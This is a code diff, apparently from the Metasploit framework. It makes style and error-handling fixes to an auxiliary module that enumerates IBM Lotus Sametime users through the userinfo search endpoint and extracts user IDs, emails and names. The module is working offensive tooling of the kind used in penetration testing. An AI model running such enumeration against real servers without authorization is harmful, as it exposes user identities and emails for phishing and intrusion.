Fixed code issues as requested in PR2801

Mostly coding style issues
Re-tested in testbed - output as expected

modules/auxiliary/gather/ibm_sametime_enumerate_users.rb

@@ -28,9 +28,9 @@ class Metasploit3 < Msf::Auxiliary
     register_options(
       [
         Opt::RPORT(443),
-                OptString.new('TARGETURI', [ true,  'The path to the userinfo script', \
+        OptString.new('TARGETURI', [ true,  'The path to the userinfo script',
                 '/userinfo/search']),
-                 OptEnum.new('CHARSET', [true, 'Charset to use for enumeration', 'alpha', \
+         OptEnum.new('CHARSET', [true, 'Charset to use for enumeration', 'alpha',
                 ['alpha', 'alphanum', 'num'] ]),
         OptEnum.new('TYPE', [true, 'Specify UID or EMAIL', 'UID', ['UID', 'EMAIL'] ]),
         OptPath.new('DICT', [ false,  'Path to dictionary file to use', '']),
@@ -48,16 +48,12 @@ class Metasploit3 < Msf::Auxiliary
       ], self.class)
   end
 
-    def peer
-        return "#{rhost}:#{rport}"
-    end
-
   def setup
 
     # setup the desired charset
     @charset = []
     # setup array to hold user data
-        @userdata = []
+    @user_data = []
 
     if datastore['DICT'].nil? or datastore['DICT'].empty?
       # populate charset - lowercase only as search is case insensitive
@@ -100,7 +96,6 @@ class Metasploit3 < Msf::Auxiliary
 
     print_status("Testing #{peer} for IBM Lotus Notes Sametime User Enumeration flaw")
 
-        begin
     # test for expected response code on non-existant uid/email
     if datastore['TYPE'] == "UID"
       rval = Rex::Text.rand_text_alpha(32)
@@ -112,7 +107,6 @@ class Metasploit3 < Msf::Auxiliary
       'method'  => 'GET',
       'ctype'   => 'text/html'
     })
-        end
 
     begin
       if not res
@@ -121,7 +115,7 @@ class Metasploit3 < Msf::Auxiliary
       elsif not res.code == 200
         print_error("Unexpected response from server (Response code: #{res.code})")
         return
-            elsif not JSON.parse(res.body).nil? and not JSON.parse(res.body).empty?
+      elsif not JSON.parse(res.body).blank?
         # empty JSON element
         print_error("Received invalid response from server #{peer}")
         return
@@ -146,9 +140,9 @@ class Metasploit3 < Msf::Auxiliary
     # create initial test queue and populate
     @test_queue = Queue.new
     if (datastore['DICT'].nil? or datastore['DICT'].empty?)
-            @charset.each do | char | @test_queue.push(char) end
+      @charset.each { |char| @test_queue.push(char) }
     else
-            File.open(datastore['DICT']).each do | line | @test_queue.push(line.chomp) end
+      File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) }
       print_status("Loaded #{@test_queue.length} values from dictionary")
     end
 
@@ -165,6 +159,7 @@ class Metasploit3 < Msf::Auxiliary
         nt = @test_queue.length
       end
 
+      begin
         1.upto(nt) do
           t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current|
             Thread.current.kill if not test_current
@@ -178,16 +173,16 @@ class Metasploit3 < Msf::Auxiliary
             res = make_request(test_current)
 
             # check response to see if an error was returned, if so wait 1 second and retry
-                    if res and res == error and not @retries.include?(test_current)
+            if not res and not @retries.include?(test_current)
               # attempt test again as the server was too busy to respond
               # correctly - error returned
-                        print_error("Error reading JSON resonse, attempting to redo check for \"#{test_current}\"")
+              print_error("Error reading JSON response, attempting to redo check for \"#{test_current}\"")
-                        Rex::sleep(1) # sleep 1 second and retry
+              Rex::sleep(1) # sleep 1 second and retry request
               @retries << test_current
               res = make_request(test_current)
             end
 
-                    if res and not res == error
+            if res
               # check response for user data
               check_response(res, test_current)
             elsif not @retries.include?(test_current)
@@ -203,7 +198,12 @@ class Metasploit3 < Msf::Auxiliary
             end
           end
         end
-            t.map do | x | x.join end
+      t.each {|x| x.join }
+
+      rescue ::Timeout::Error
+      ensure
+        t.each {|x| x.kill rescue nil }
+      end
     end
   end
 
@@ -213,22 +213,17 @@ class Metasploit3 < Msf::Auxiliary
 
     # combine test string with PRE and POST variables
     tstring = datastore['PREFIX'] + test_current + datastore['SUFFIX'] + "*"
-        # Apply timing information
+    # Apply timing information to pause between making requests - not a timeout
     if datastore['TIMING'] > 0
       Rex::sleep(datastore['TIMING'])
     end
 
-        begin
     res = send_request_cgi({
       'uri'     =>  normalize_uri(@reqpath + tstring),
       'method'  => 'GET',
       'ctype'   => 'text/html'
     })
 
-        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
-        rescue ::Timeout::Error, ::Errno::EPIPE
-        end
-
   end
 
   def check_response(res, test_current)
@@ -236,16 +231,18 @@ class Metasploit3 < Msf::Auxiliary
     # check the response for valid user information
 
     begin
-            if res.code.to_i == 200 and not JSON.parse(res.body).nil? and not JSON.parse(res.body).empty?
+      # check response exists AND that it validates as JSON before proceeding
+      if res.code.to_i == 200 and not JSON.parse(res.body).blank?
         # successful response - extract user data
-                extract_user(res, test_current)
+        extract_user(res)
         # extend test_queue to search for further data (not if dictionary in use)
         extend_queue(test_current) if (datastore['DICT'].nil? or datastore['DICT'].empty?)
         return true
-            elsif JSON.parse(res.body).nil? or JSON.parse(res.body).empty? # empty JSON element
+      elsif JSON.parse(res.body).blank? # empty JSON element
-                # expected failure for non-existant user
+        # expected failure for non-existent user - must return false
         return false
       else
+        # unexpected failure
         print_error("Unexpected response received from server #{peer}")
       end
     rescue JSON::ParserError
@@ -254,13 +251,13 @@ class Metasploit3 < Msf::Auxiliary
     end
   end
 
-    def extract_user(res, test_current)
+  def extract_user(res)
 
     # extract user data if not already present
     begin
       userinfo = JSON.parse(res.body)
-            if not @userdata.flatten.include?(userinfo['uid'])
+      if not @user_data.flatten.include?(userinfo['uid'])
-                @userdata << [ userinfo['uid'], userinfo['mail'] || "-", userinfo['externalName'] || "-" ]
+        @user_data << [ userinfo['uid'], userinfo['mail'] || "-", userinfo['externalName'] || "-" ]
         if datastore['STREAMFINDINGS']
           # print newly discovered users straight to the screen
           print_good("New user found: #{userinfo['uid']}")
@@ -331,12 +328,12 @@ class Metasploit3 < Msf::Auxiliary
       ])
 
     # populate tables
-        @userdata.each do | line |
+    @user_data.each do | line |
       user_tbl << [ line[0], line[1], line[2] ]
     end
 
     if not user_tbl.to_s.empty?
-            print_good("#{@userdata.length} users extracted from #{peer}")
+      print_good("#{@user_data.length} users extracted from #{peer}")
       print_line(user_tbl.to_s)
     else
       print_error("No users discovered")